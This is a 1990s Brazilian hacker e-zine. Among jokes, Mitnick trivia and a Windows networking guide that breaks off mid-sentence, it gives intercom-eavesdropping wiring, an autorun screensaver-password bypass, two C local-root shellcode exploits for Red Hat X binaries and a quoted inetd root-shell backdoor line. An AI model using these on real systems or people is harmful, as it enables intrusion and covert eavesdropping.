
                    zZZZZZZZZZZZZZZZZZZZZZZZZ
                                          zZ
                                         zZ
                                        zZ
                                       zZ
                                      zZ
                 CCCCCCCCCCCCCCCC    zZ SSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC   zZ SSSSSSSSSSSSSSSSS
               CCCCCCCCCCCCCCCCCC  zZ SSSSSSSSSSSSSSSSSS
              CCCCCC        CCCCC zZ SSSSSS        SSSSS
             CCCCCCC             zZ SSSSSSS             
            CCCCCCCC            zZ SSSSSSSSSSSSSSSSSSSSS
            CCCCCCCC           zZ  SSSSSSSSSSSSSSSSSSSSS
             CCCCCCC          zZ                SSSSSSS
              CCCCCC        CCCCC  SSSSS        SSSSSS
               CCCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSSS
                CCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSS
                 CCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSS
                         zZ
                        zZ
                       zZ
                      zZ
                     zZ
                    zZZZZZZZZZZZZZZZZZZZZZZZZine

                        by Cheat Struck





	Belo visual naum?





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


		UIN   da   revista : 16623675
		Canal  da  revista : #CSCHANNEL no irc.via-rs.com.br
		E-Mails da revista : cszine@hotmail.com
	                             cszine@xoommail.com
                Memoserv da revista: /msg memoserv send Struck <msg>
                                      (Soh no via-rs)
	        Page  da   revista : http://members.xoom.com/cszine


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=


	Introduo:

	Hehe! Altos papos no #hackers. To acabando de sair de lah, enquanto
tava vendo uns babacas(Posso me referir seguramente, pois eles se acham to
bons que no taum nem ae pra esse zine) que comearam a brigar atrapalhando
os papos no canal.
	Assim.. Um manda o outro chupa, o outro diz que vai chupa as teta da
me do um, o um diz que o outro tah morto, o outro diz pro op bota ordem no
canal, o um mostra no canal o IP do um(como se jah fosse coisa tri hacker),
o outro chama o um de pato, o um diz que tah ligando pro provedor do outro,
o outro diz que tah usando a prpria conta e no vai adiantar nada ligar pro
provedor, o um(que estava scaneando o host do outro as escondidas) ameaa o
outro com a frase manjada "TU NO ME CONHECE!" e mostra as portas detectadas
pelo scan, o outro diz "Entaum tenta me derrubar", o um diz que jah t dentro
da MAKINA do outro, finalmente os dois so banidos do canal pelo op e o pes-
soal lamer que tava lah soh assistindo vai conta pros amigos que acabou de
presenciar uma briga entre hackers.
	Vo toma no cu! Os cara acabaram de instalar um Linux de kernel 2.0.0
e se logaram a inet. Usaram uns comandos que vem nos manuais do BitchX e ou-
tros que conseguiram nakela page hacker que ensina a hackear um provedor via
ftp. Aps usarem todos os brinquedinhos, mostraram o resultado e deu, so os
maiores hackers.
	Atualmente os kra que frequentam esses canais taum mais pra lamahs
do que pra pelo menos Wannabes. E anda vem o palhao do root e dah op preles
soh pq trocaram algumas palavrinhas e taum usando Linux(q entaum est muito
seguro, mesmo deixando o /etc/hosts.allow com all:all). A inet tah realmente
ficando uma merda.  por isso que ns nos vingamos do nosso jeito dessas
bixas adotadas e eles por sua vez avisam o paizinho que avisa o provedor que
diz que nos somos criminosos e deveriamos estar presos. Kra, isso me deixa
puto da vida. Ainda mais quando eles poe akelas pages cheias de bichices q
dizem que vo ensinar o outro a ser hacker em 5 lies. Ahhhhhhhh!
	...
	Bem.. Eu tinha que botar isso pra fora. Se vc leu isso, pode esquecer
se quizer que e no falei nada sobre a revista. Pois nem precisa. Vcs sabem.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Indice:

Seo:	Materia:		Assunto:		Autor:		Nota:

1.	FuNny			Piadas dos Simpsons	Cheat Struck	10,0
2.	Kevin Mitnick		Curiosidades		Cheat Struck	9,5
3.	Phreaking		Escutas via interfone	Cheat Struck	10,0
4.	Bugz			Bugz para Linux		Simon Phoenix	10,0
5.	Hacking p/ iniciantes	Protegendo seu sistema	Cheat Struck	9,5
6.	Redes			Redes Microsoft 	Cheat Struck	9,0
7.      Crackerz                Lista de hexas p4       Cheat Struck    9,0
8.      Invasao de privacidade  Kits de hackeagem       Pangia LTDA.   10,0
9.      Hack, the Art           More tips               Cheat Struck    10,0
10.     BoNuS!!!!           Boletim de segurana    Pangia LTDA.   10,0



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  1. FuNnY  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Melhores piadas dos Simpsons



(Naquele episdio do boliche)

<Moe> Cara.. Agente tenta ser gentil com as pessoas, nos controlamos para nao
esmurra-las na cara, e pra que? Pra elas nos tratar como lixo? Eu sou melhor
do que lixo. Quer dizer, a maioria dele, no aquele lixo que se compra em
lojas, aqueles tro cheio de nutrientes. Eu no posso competir com esse tipo
de coisa.




(No mesmo episdio)

<Bart> Me.. a minha atiradeira no cabe nesses bolsos.. eu to parecendo um
frutinha.. esses uniformes sao um saco!
<Marge> Bart! Onde aprende essas palavras??
<Homer falando no telefone>  moe, aquele time de ontem foi um saco! Encheram
o saco de todo mundo! Jah v times encherem sacos, mas um saco como aquele!
Eu nunca v um saco igual!
<Marge> Homer! Veja como fala!
<Homer> Desculpa moe, tenho que desligar! Meus filhos estao aqui!
<Lisa> Jah reparou ?
<Homer> Porque esto usando essas roupas??
<Bart> Fomos obrigados
<Homer> Foram obrigados!! Conversa de perdedor! Devem agir mais como eu e meu
time! Os futuros campeoes do mundo!! Nada pode nos parar agora!
<Sr. Burns> Parem tudo! No me lembro de ter feito nenhum cheque para boli-
che!!
<Smithers> Senhor, esse  o cheque da sua lavagem.
<Sr. Burns> Ah sim!! Isso  muito importante.
<Smithers> , lembra da vez que no o fez?
<Sr. Burns> Sim, foi muito desagradavel. Pra todos os envolvidos. Bem.. vol-
tando aos cheques.. Parem tudo! No me lembro de ter feito nenhum cheque para
boliche!!
<Smithers> Hm.. O memorando diz: "Para meu amigo fresquinho da silva".
<Sr. Burns> Ah sim! Aquele ganancioso globulo feito de quimicas.
<Smithers> Deve ter sido mais umas da suas alucinaes feitas pelo eter. Vou
ver um ficha no pessoal para ver quem pode ter feito tamanha personificao.
.. Ou foi o Chester Forstam Maier .. Ou o Homer Simpson.




(Episdio em que homer v um ETE)

<Homer> Ahhhh! Hoje  sabado! Eu vou para o parque!
<Lenny> Mas Homer.. Ainda  demanh!
<Homer> No tem problema! Eu vou fazer uma coisa que eu vi num filme onde
um onibus tinha que ficar fazendo voltas na cidade acima de 80Km/h e se dimi-
nuisse ele explodiria. Eu acho que se chamava: "O onibus que no podia parar"




(no mesmo episdio)

<Wilie>  um ETE!! Matem ele! Matem ele!
<Lisa> No esperem! Vejam que  seu verdadeiro ETE!
<Wilie>  um Monstro!! Matem ele! Matem ele!
<Smithers> No esperem!! No  um monstro!  o senhor Burns.
<Wilie> Ah!  o senhor Burns. Matem ele! Matem ele!




(no mesmo episdio)

<Homer> A eu disse: "Chocolatisa! Azuis ou vermelhos!" mas no final ficou
todo mundo com a mesma cor.




(no episdio em que os pais do Milhouse se separam)

<Marge> Homer, Voc est pronto?
<Homer s de cueca> S falta calsar os sapatos.
<Marge> Homer, a unica coisa que eu lhe pedi foi para que ficase pronto.
Ding! Dong!
<Marge> Agora  tarde! Bart v atender os convidados e pegue os casacos deles
<Bart> Me, o reverendo Lovey Joy no venho de casaco. Deixo ele entrar?




(No mesmo episdio)

<Reverendo Lovey Joy> Marge, voc aceita Homer Simpson na saude e na doena,
na riquesa e na pobresa, pobresa est sublinhado..




(Sei lah qual episdio)

<Homer> Vc est vivendo no passado! Pare de viver no passado, Marge! Vc quer
a verdade? Vc quer a verdade? Vc quer a verdade? No aguentaria a verdade!!
Porque quando voc olhar pra traz e procurar o ombro de quem era o seu melhor
amigo, No Encontrar!! No Marge! Isso  Chainatal!





-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  2. Kevin Mitnick  $$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


	Curiosidades


	Alguns administradores dos EUA fundaram o movimento J BASTA! Que 
contra todos os hackers que modificam sites colocando pedidos da liberdade
de Kevin Mitnick. Estamos deixando os caras loucos.

	Kevin Mitnick foi o hacker a ficar mais tempo preso. J completou 4
anos desde 1994 quando foi julgado por fraude com computador e outras coisas.

	A pouco tambm foi fundada a causa Kevin Poulsen, que exigia a a con-
dicional faz um ano, com a condio de no tocar em nada relacionado a um 
computador. Porem esse movimento no foi muito popular.

	A Yahoo, o catalogo de sites mais visitado, jah foi atakada por 
hackers que durante 15 minutos ameaavam lana um vrus para seus visitantes.
Eles exigiam a libertao de Mitnick em troca da vacina. Porm no foi detec-
tado nenhum vrus e a mensagem s podia ser vista para usuarios que usavam o
browser Lynx.

	H relatos de que hackers famosos, como Kevin Mitnick, j praticavam
o phreaking antes de se casarem com os computadores. O samurai que o pegou,
Tsutomo Shimomura, foi praticamente quem fez o primeiro relato mais completo
sobre o phreaking de telefones celulares. Alias, Kevin s foi pego por ele 
porque usava um celular clonado para acessar ilegalmente uma serie de compu-
tadores.

	Existem algumas pessoas que dizem que Mitnick chegou a invadir o
sistema da AT&T, mas isso so s histrias que envolvem Mitnick.

	Mitnick usava o nick de CONDOR em homenagem ao seu filme favorito.

	Contra-Ataque ( Titulo original: "Take Down")  um livro escrito por
John Markoff (jornalista) e Tsutomu Shimomura (especialista em seguranca de
computadores) que descreve como foi a captura do hacker Kevin Mitnick. Esta 
uma historia um tanto badalada, mas neste livro vc pode "ouvir" a versao de
Tsutomu. Kevin tem um livro contando a sua versao tambem mas parece que nao
saiu no Brasil.

	O OKI900 foi um dos principais motivos que levaram Mitnick a ser
preso. O aparelho  responsavel pela re-gravao dos celulares Epron. Kevin
invadiu o sistema de Shimomura a procura do cdigo fonte desse programa e tb
informaes sobre o aparelho. Aps pegar as informaes do computador do
japa, Kevin poderia ficar indetectavel em qquer sistema telefonico.






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  3. Phreaking  $$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$              $$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Escuta via interfone.


	Essa  nova. Eu acho que sou o primeiro a anunciar isso, pelo menos 
no Brasil. V lah pra sua cozinha e de uma olhada no seu interfone. Eu nao
sei qual  o modelo do meu, nem se isso ira funcionar em todos. Aqui em casa
pelo menos funcionou.
	Repare que 2 fios saem do interfone.
	Agora pegue uma exteno e ligue os fios da exteno nos fios do 
interfone. Eu no me lembro bem qual fio deve ser ligado em qual. Teste dos
dois modos.
	Agora atenda o telefone e PLIM! Se voc quizer ligar pelo interfone
agora, use a tecnica de ligao sem teclas. Lembra n? Para discar 1 de um
toquezinho no boto onde vc encaixa o interfone, Para discar 2 de dois toque-
zinhos al, Para 3, tres, e assim vai.
	No interfone o boto onde vc encaixa o telefone  o mesmo do qual vc
aperta para abrir a porta pro loko lah em baixo.
	Aqui vai um desenho de onde encaixar os fios:



                                    aparelho             fone
                                     ______              ____
                                    |   ___|            |    \
   Exteno      fios do interfone  |  |                |__   |
===============+====================|  |                   |  |
===============+====================|  |__               __|  |
                                    |  |__|_            |     |
                                    |_______|===========|____/





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=

	Box em fase de teste


	No  lah uma box. E tb no ir fazer nada muito importante. Mas tal-
vz outras boxes se gerem aps essa. Pra falar a verdade, essa box ainda nem
saiu do papel. Eu nem experimentei pra ver se funciona pois se o fizesse a
minha me iria perceber o fio do interfone descapado ou com fita isolante.
	Aqui vai o rascunho que eu fiz no papel da box:





               _____                                  ________
              |     |                                |__-__-__|
==============|     |=================================/      \
              |_____|    fio que iria para o fone    /________\
             interfone                                telefone
             sem o fone



	O que essa box faria seria mandar pulsos para o aparelho do interfone
indicando que a porta deveria destrancar. Ae a porta iria destrancar em pe-
quenos pulsos, o que talvz em uma viso geral no serviria pra nada. Mas com
tanta box ae que no serve pra bosta nenhuma a no ser pra conhecimento, o q
custa adicionar mais uma na lista.
	Se voc testou essa box e no funcionou: Mail-me. Se vc nem testou
pq sabe o motivo dela no funcionar: Mail-me too. Se vc testou e funcionou:
Mail-me. E por fim, se voc criou uma variao dessa box: Mail-me.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$         $$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  4. Bugz  $$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$         $$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Bug no Autorun


	 um bug simples do Windows(pq eu insisto em tocar nessa tecla?).
	Ele serve para livrar a tua barra nas horas em que o sistema parar
esperando por uma senha. Tipo nos screemsavers(protetores de tela).
	Assim que surgir o pedido de senha, coloque um CD com autorun(sabe,
aqueles que rodam automatico). O menu do CD surgir, ae  s sair e vc no
precisar mais colocar password nenhum.
	O patch desse bug  algo muito simples e qualquer LAMAH descubrir
szinho. Desative o Autorun.
	Como fazer isso?? Putz. No caberia a mim entrar em detalhes, ainda
mais pq vcs nem devem se interesar muito por isso, mas vou explicar:
	Abra o painel de controle.
	Clique no cone Sistema.
	Clique em Gerenciador de Dispositivos.
	Abra o drive CDROM.
	Clique no drive do seu CDROM e clique em Propriedades.
	Clique em configuraes.
	Por fim, desabilite a opo Auto-run ou Notificao de Auto-insero.
	De OK em tudo, reinicie e pronto.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Bugz do Linux (por Simon Phoenix)



* Verso : Redhat
* Descrio : Acesso ao disco flexivel
* Exploit :
cat /dev/fd0H1440




* Verso : Redhat 4.1
* Descrio : Acesso de root
* Exploit :
------------------------------Corte Aki--(X.c)-------------------------------
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}

-----------------------------------------------------------------------------





* Verso : 4.x
* Descrio : Get passwd
* Exploit :
----------------------------Corte Aki--(super.c)-----------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
  asm("movl %esp,%eax"); }
#define bufsize 8192
#define alignment 0
char buffer[bufsize];

main() {
  int i;
  for (i = 0; i < bufsize / 2; i += 4)
    *(char **)&buffer[i] = get_sp() - 2048;
  memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
  strcpy(&buffer[bufsize - 256], shellcode);
  setenv("SHELLCODE", buffer, 1);
  memset(buffer, 'x', 72);
  *(char **)&buffer[72] = get_sp() - 6144 - alignment;
  buffer[76] = 0;
  execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
  printf("%s", buffer);
}

-----------------------------------------------------------------------------





* Verso : Redhat 5.x
* Descrio : Permises
* Exploit :
/bin/linuxconf





-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-






$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$
$$$$$$$                          $$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$
$$$$$$  5. Hacking p/ iniciantes  $#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$
$$$$$$$                          $$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Protegendo seu sistema dos iguais a voc.


	Eu ja falei muito sobre hacking, truques, bugz, e outras coisas. Mas
o que adianta saber um bocado sobre como tirar proveito do sistema dos outros
se vc no sabe como deixar que os outros no tirem proveito do seu sistema.
	Tipo os karas da MOS. Que se dedicaram tanto em hackear e no final
foram hackeados. Eu considero o MOS um grupo serio e o fato deles terem sido
hackeados no foi por causa de um erro deles e sim dos administradores da
XOOM.
	Aqui eu irei falar sobre como proteger o seu sistema pessoal, come-
ando do basico.



*** Com que permisso eu devo deixar o /etc/passwd ??? ***

	Um kra jah me fez essa pergunta. A permisso mais adequada seria rwx
para o root, --- para usuarios do grupo e outras pessoas.
	Ae ele me disse que quando coloca o /etc/passwd sem permiso de read
para outros usuarios, quando se loga como um usuario normal, aparece algo
tipo "You is Nobody" ou algo assim quando vc digita whoame.
	Isso acontece apenas quando o sistema est sem root. Ae o usuario 
normal, como no tem acesso ao /etc/passwd, no tem como a shell descobrir
seu UID e GID(que esto no /etc/passwd) Por isso ele no te reconhece.
	A premisso correta para o /etc/passwd  -rwx------.
	 melhor vc deixar todos os arquivos do diretrio /etc com essa per-
misso. Principalmente o passwd, o group e o hosts




*** Verificando se existem backdoors no seu Sistema ***

	A primeira coisa que vc deve fazer como root, sempre que se loga ao
seu sistema  digitar: cat /etc/passwd | grep :0:
	Isso mostrar se algum hacker entrou no sistema e colocou uma nova
conta root. Aps digitar esse comando, a unica linha que dever aparecer  a
correspondente da sua conta.
	Depois digite: cat /etc/inetd.conf | grep -i
	Se aparecer algo tipo:
Portashell	stream	tcp	nowait	root	/bin/sh		sh -i
	 backdoor na certa. As vezes os hackers, um pouco mais experientes
trocam o nome da shell sh para qquer coisa. Se conter a opo -i, disconfie e
verifique o arquivo, para ver se no  nenhuma backdoor disfarada.
	Tambm verifique os arquivos /etc/hosts.allow e /etc/hosts.denny. Se
no hosts.allow conter a linha all:all, retirea imediatamente, pois isso sig-
nifica que qquer paiao pode acessar o seu sistema. Essa linha deve estar no
hosts.denny.
	A backdoor possivelmente mais dificl de se encontrar  a shell com
a opo de superuser(+s) ativa. Acessando ela, o usuario normal tera acesso
de root e vc talvz nem disconfie, pois ele est acessando uma shell como 
qquer outro usuario. Se o kra se esqueceu de killar o ps onde ele ativa a
shell, vc pode ser capaz de descobrila facilmente digitando ps seguido da 
opo -ax. MAs ae vc ter que ter paciencia.




*** Verificando a existencia de bugz no seu sistema ***

	 pra isso que a seo BUGZ tah ae. Verifique se arquivos tipo 
/usr/X11R6/bin/SuperProbe e /usr/X11R6/bin/XF86* esto com a opo -s
(super user) ativada. Se estiver digite: chmod u-s /usr/X11R6/bin/XF86*.
	Esses dois bugz foram descritos na seo BUGZ por Simon Phoenix. Como
o trabalho dele  s descrever o exploit, ento eu contratakei com o patch.
	Voc deve se atualizar seu kernel sempre que sair uma verso mais re-
cente. Porm fique ligado nos bugz que eles levam junto. Para ficar sempre
aualizado diante os bugz tanto de UNIX, Windows e programas especificos, vi-
site o site http://www.rootshell.com . Lah vc encontrar, atualizadamente,
listas de Bugz e Exploits.



	Eu no vou comentar muito sobre segurana, pois no teria as minimas
chances diante das zines especializadas nisso como a RWX e POLICY. Recomendo
a lida das edies de ambas, tanto para administradores quanto para hackers.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Perguntas que vc sempre teve medo de fazer.


	Enviem emails com suas duvidas.


 Porque a maioria dos Exploits que prestam esto em C ?
	Primeiro porque C  a linguagem mais usada por usuarios de UNIX. tan-
to por seus compiladores jah virem juntos com o kernel. Depois, em C voc po-
de fazer muito mais coisa do que apenas a linguagem basica de scripts para
UNIX, permitindo a criao de buffers que sero extremamentes importantes na
hora do Exploited.


	Essa semana, no recebi muitos emails de duvidas. Qquer coisa  soh
mandar que a sua privacidade ser respeitada. Particulamente, eu tb acho um
conforto a privacidade na inet.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  6. Redes  $$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$          $$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



	Ehhhh.. Seo nova na zine. Talvz ela permanea, talvz no. Tudo
depende dos editores darem as caras.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Redes Microsoft


	O objetivo deste texto  mostrar os passos bsicos para a configu-
rao de uma rede ponto-a-ponto(ppp), usando como software apenas os recursos
de redes includos no Windows 95.
	Neste projeto ser criada uma estrutura composta por 3 micros.
	Um sistema desse tipo permite que cada computador seja usado, ao 
mesmo tempo, como estao de trabalho e como servidor. Ou seja, o micro A 
pode ser utilizado pelo seu usurio e ter a impressora que est ligada dire-
tamente a ele compartilhada pelos demais componentes da rede.
	Tambm  possivel especificar que uma de suas pastas(dirs) ou um 
disco seja acessado por outros usurios.
	O ambiente dessa rede  descrito a seguir.

Micro 1 -  um 486 DX2 de 66 MHz com uma impressora conectada. Tem um disco 
          rgido e uma unidade de CD-ROM que ser compartilhada. Seu nome no
          sistema ser DX266.
Micro 2 - Maquina 486 DX4 de 100 MHz com disco rgido, que ser compartilhado
          O seu nome ser 486DX100.
Micro 3 - Equipamento 486 SLC de 50 MHz. Essa mquina no ter nenhum recurso
          compartilhado. Seu nome ser 486SLC50.

	Os passos bsicos para configurar a rede ponto-a-ponto so os 
seguintes:

1. Instalao fisica da rede.
2. Configurao do Software.
3. Identificao dos micros.
4. Definio de pastas e impressoaras compartilhadas.
5. Acesso aos recursos da rede.

	A instalao fisica de uma rede ponto-a-ponto no representa um bicho
de sete cabeas.
	Existem no mercado diversos kits de rede destinados a pequenos usu-
rios que facilitam essa tarefa. Esses kits incluem placas, cabos, conectores,
e guias de instalao rpida.
	Durante a instalao do Windows 95, habilita-se automaticamente a 
parte do sistema que permite ao micro trabalhar numa rede ponto-a-ponto como
clientes para redes microsoft. Para verificar se estes mdulos foram realmen-
te instalados, abra o Painel de controle e clique no cone Redes. A guia 
Configurao mostra softwares presentes na mquina. O cliente para redes 
microsoft  o responsavel pela operao da rede ponto-a-ponto do Windows 95.
Se ele estiver listado, pressione o boto OK. Caso contrario, pressione o 
boto Adicionar para fazer sua instalao. 
	O Prximo passo  fazer com que o micro seja renomeado pela rede. 
Para isso  necessario dar um nome ao computador e outro ao grupo de trabalho
a que ele pertence. Essas informaes so solicitadas durante a instalao do
Windows 95 mesmo que o usurio no esteja ligado em rede.

	Identificao:
	Para especificar os nomes do computador e do grupo de trabalho, per-
corra o seguinte roteiro:
1. Ative o Painel de Controle, clique no cone Rede e, na caixa de dilogo 
que se abre, escolha a guia Identificao.
2. Digite o nome do computador e do grupode trabalho. No pode existir outro
micro na rede com o mesmo nome.
	O grupo de trabalho pode ser entendido como o departamento ao qual 
pertence o micro. Pode-se ter uma rede com diversos micros ligados, mas divi-
didos em grupos. Neste exemplo, todos pertencero a um grupo chamado ADS de
Analistas de Sistemas.
	Acaixa de dilogo oferece ainda a opo de registrar uma descrio 
para o seu micro, que ser visvel para outros usurios quando consultarem 
uma lista de computadores da rede. Como nossa rede hipottica composta por 3
micros, essa caixa de dialogo deve ser preenchida em cada uma das maquinas. 
Observe que o nome do computador  diferente em cada ponto(DX266, 486DX100 e
486SLC50) e o nome do grupo de trabalho  o mesmo(ADS).
	O prximo passo consiste em determinar quais perifricos sero com-
partilhados em cada micro. Uma maquina pode compartilhar todos os seus peri-
fricos, alguns deles ou simplesmente nenhum. Nesse ltimo caso, ela funciona
apenas como uma estao de trabalho que acessa dados em outro local da rede.
	Para permitir compartilhamento de arquivo e impressora em seu compu-
tador: 
1. Ative o painel de controle e clique no cone Rede, a fim de exibir a caixa
de dialogo Propriedades de rede.
2. Clique no boto Compartilhamento de Impresso e Arquivos.
3. Clique nas opes de compartilhamento desejadas. Uma marca de verificao
significa que o recurso est ativado. Na rede-exemplo, esse procedimento deve
